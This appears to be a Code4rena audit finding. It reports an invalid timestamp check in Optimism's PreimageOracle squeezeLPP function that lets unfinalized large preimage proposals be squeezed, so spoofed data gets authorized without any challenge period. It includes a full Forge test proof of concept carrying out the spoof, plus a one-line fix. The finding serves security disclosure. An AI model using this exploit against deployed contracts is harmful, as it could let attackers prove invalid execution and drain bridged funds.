code-423n4 / 2024-07-optimism-findings

3 stars 0 forks source link

Spoofing of PreimageOracle by squeezing unfinalized LPPs #102

Closed howlbot-integration[bot] closed 4 months ago

howlbot-integration[bot] commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/cannon/PreimageOracle.sol#L656-L657

Vulnerability details

Short Summary & Impact

From README: Attack ideas

The Preimage Oracle is trusted to only provide accurate data. Is there a way to get invalid data added and use it to prove an invalid execution trace?

We demonstrate that arbitrary Keccak256-encoded data can be added to authorized preimage parts by squeezing unfinalized Large Preimage Proposals (LPPs), thus completely bypassing the challenge period for LPPs. The vulnerability is in the wrong timestamp check of the squeezeLPP function, which allows to squeeze an LPP at any time point before it has been finalized.

Spoofing PreimageOracle data can lead to arbitrary impacts, including (but not limited to) withdrawing all tokens contained in Optimism.

Detailed Description

Function squeezeLPP contains the following timestamp check:

// Check if the challenge period has passed since the proposal was finalized.
if (block.timestamp - metaData.timestamp() <= CHALLENGE_PERIOD) revert ActiveProposal();

The problem with the above check is that after calling initLPP, we have metaData.timestamp() == 0, thus for realistic timestamps (e.g. 1722112271) the check above is immediately enabled (doesn't revert). This allows to execute squeezeLPP at any time point before the LPP in question is finalized, the first time when metaData.timestamp() is assigned a non-zero value. As a result, completely fake data can be easily introduced into the authorized preimage mapping, leading to arbitrary impacts.

Proof of Concept

From README: A Note on POCs

Forge tests are acceptable for any POCs that only need to demonstrate small or isolated properties, but the smart contract test suite is not configured with the full honest challenger behavior nor does it use the actual fault proof VM as the step function.

As the present finding is local only to PreimageOracle contract, as well as is independent of the honest challenger behavior or the actual fault proof VM, we employ Forge tests for the PoC. In the PoC we:

  1. Warp to a realistic timestamp, thus creating the conditions for the exploit.
  2. Initialize an LPP (initLPP)for the data with the length of 3 Keccak blocks.
  3. Add the leaves to the tree (addLeavesLPP) for 2 of the 3 Keccak blocks.
    • As the preimage part is contained in these parts, it is copied to the proposal parts for this LLP.
  4. Squeeze the unfinalized LLP (squeezeLLP), by providing the correct proof for the added leaves.
    • As the timestamp check is enabled, the proposal parts are copied to the authorized preimage mappping.

To reproduce the PoC, copy-paste the test function below into the contract PreimageOracle_LargePreimageProposals_Test, and execute vua forge test --match-test test_spoof_via_squeeze_unfinalized.

Click to reveal: `test_spoof_via_squeeze_unfinalized()` ```solidity /// @notice A test demonstrating that PreimageOracle can be spoofed /// by squeezing an unfinilized LPP, thus bypassing the challenge period. function test_spoof_via_squeeze_unfinalized() public { // Warp to a realistic timestamp vm.warp(1722112271); // Sat Jul 27 2024 20:31:11 GMT+0000 uint256 balanceBefore = address(this).balance; // Allocate the preimage data. bytes memory data = new bytes(136 * 3); for (uint256 i; i < data.length; i++) { data[i] = 0xFF; } data[10] = 0xAA; // The special byte that we will check // Initialize the proposal. (use the offset for the special byte) oracle.initLPP{ value: oracle.MIN_BOND_SIZE() }(TEST_UUID, 18, uint32(data.length)); // Bond is taken assertEq(address(this).balance, balanceBefore - oracle.MIN_BOND_SIZE()); assertEq(oracle.proposalBonds(address(this), TEST_UUID), oracle.MIN_BOND_SIZE()); // Add the leaves to the tree (2 keccak blocks.) { // avoid "Stack too deep" error LibKeccak.StateMatrix memory matrix1; bytes32[] memory stateCommitments = _generateStateCommitments(matrix1, data); uint256 midPoint = stateCommitments.length / 2; bytes32[] memory commitmentsA = new bytes32[](midPoint); bytes32[] memory commitmentsB = new bytes32[](midPoint); for (uint256 i = 0; i < midPoint; i++) { commitmentsA[i] = stateCommitments[i]; commitmentsB[i] = stateCommitments[i + midPoint]; } oracle.addLeavesLPP(TEST_UUID, 0, Bytes.slice(data, 0, 136 * 2), commitmentsA, false); } // Construct the leaf preimage data for the blocks added. LibKeccak.StateMatrix memory matrix2; PreimageOracle.Leaf[] memory leaves = _generateLeaves(matrix2, Bytes.slice(data, 0, 136 * 2)); // Compute the preimage key. LibKeccak.StateMatrix memory _stateMatrix = _stateMatrixAtBlockIndex(Bytes.slice(data, 0, 136 * 2), 1); LibKeccak.absorb(_stateMatrix, leaves[1].input); LibKeccak.permutation(_stateMatrix); bytes32 key = LibKeccak.squeeze(_stateMatrix); assembly { key := or(and(key, not(shl(248, 0xFF))), shl(248, 0x02)) } // The preimage part is not authorized initially. assertFalse(oracle.preimagePartOk(key, 18)); // Create a proof array with 16 elements. bytes32[] memory preProof = new bytes32[](16); preProof[0] = _hashLeaf(leaves[1]); bytes32[] memory postProof = new bytes32[](16); postProof[0] = _hashLeaf(leaves[0]); for (uint256 i = 1; i < preProof.length; i++) { bytes32 zeroHash = oracle.zeroHashes(i); preProof[i] = zeroHash; postProof[i] = zeroHash; } // Squeeze the unfinalized proposal. oracle.squeezeLPP({ _claimant: address(this), _uuid: TEST_UUID, _stateMatrix: _stateMatrixAtBlockIndex(Bytes.slice(data, 0, 136 * 2), 1), _preState: leaves[0], _preStateProof: preProof, _postState: leaves[1], _postStateProof: postProof }); // Bond is returned assertEq(address(this).balance, balanceBefore); assertEq(oracle.proposalBonds(address(this), TEST_UUID), 0); // The preimage part is now spoofed as expected: at _partOffset = 18, data = 0xAA assertTrue(oracle.preimagePartOk(key, 18)); assertEq(oracle.preimageLengths(key), data.length); assertEq(oracle.preimageParts(key, 18)[0], bytes1(0xAA)); } ```

Recommended Mitigation Steps

It is enough to add a check whether the proposal was finalized:

diff --git a/packages/contracts-bedrock/src/cannon/PreimageOracle.sol b/packages/contracts-bedrock/src/cannon/PreimageOracle.sol
index 77dcfc2..a85ae7b 100644
--- a/packages/contracts-bedrock/src/cannon/PreimageOracle.sol
+++ b/packages/contracts-bedrock/src/cannon/PreimageOracle.sol
@@ -653,6 +653,9 @@ contract PreimageOracle is IPreimageOracle, ISemver {
         // Check if the proposal was countered.
         if (metaData.countered()) revert BadProposal();

+        // Check if the proposal was finalized.
+        if (metaData.timestamp() == 0) revert ActiveProposal();
+
         // Check if the challenge period has passed since the proposal was finalized.
         if (block.timestamp - metaData.timestamp() <= CHALLENGE_PERIOD) revert ActiveProposal();

We recommend additionally to execute tests in a realistic environments, in particular using realistic timestamps. E.g. this vulnerability would be detected by an already existing test test_squeeze_challengePeriodActive_reverts() if a realistic timestamp was employed.

Assessed type

Invalid Validation

c4-judge commented 3 months ago

zobront marked the issue as satisfactory